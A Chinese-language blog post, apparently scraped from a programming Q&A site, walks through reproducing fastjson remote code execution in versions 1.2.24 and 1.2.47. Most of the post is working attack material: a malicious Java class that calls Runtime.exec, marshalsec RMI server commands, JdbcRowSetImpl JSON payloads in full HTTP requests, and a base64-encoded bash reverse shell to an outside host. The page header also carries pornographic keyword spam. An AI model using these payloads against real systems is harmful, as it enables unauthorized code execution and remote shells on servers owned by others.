日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现

發布時間:2023/12/2 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞原理fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的類型,而fastjson在反序列化過程中會設置和獲取類中的屬性,如果類中存在惡意方法,就會導致代碼執行漏洞產生。

漏洞利用漏洞利用需要我們在vps上啟一個RMI服務并調用class文件(class文件為我們的惡意文件)

大概過程就是

生成惡意class文件

py開啟web服務

然后開啟rmi服務讓受害者去調用我們惡意的class文件反序列化后達到命令執行的效果

fastjson 1.2.24

創建惡意的class文件 TouchFile.java 內容如下// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"touch", "/tmp/success"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}

javac TouchFile.java 將他編譯成class文件

命令執行成功的話將在tmp文件下生成success文件

py啟動一個web服務器

然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://yourip:8000/#/TouchFile" 9999

然后發送請求包加載我們的惡意class文件達到rce的效果POST / HTTP/1.1

Host: targetip:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 162

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://yourip:9999/TouchFile",

"autoCommit":true

}

}

或者使用fastjson_tool.jar更加方便

反彈shell

運行RMI服務,加載惡意java類java -cp fastjson_tool.jar fastjson.HRMIServer rmi服務ip 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"

發送反序列化代碼漏洞執行命令python3 fastjson-1.2.47_rce.py http://targetip:8090 rmi://rmi ip:9999/Object

可以看到成功加載到我們惡意的class文件成功反彈shell

fastjson 1.2.47{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://rmi ip:9999/Exploit",

"autoCommit":true

}

}

也可以使用dnslog快速探測是否存在該漏洞

總結

以上是生活随笔為你收集整理的rmi远程代码执行漏洞_fastjson远程代码执行漏洞复现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。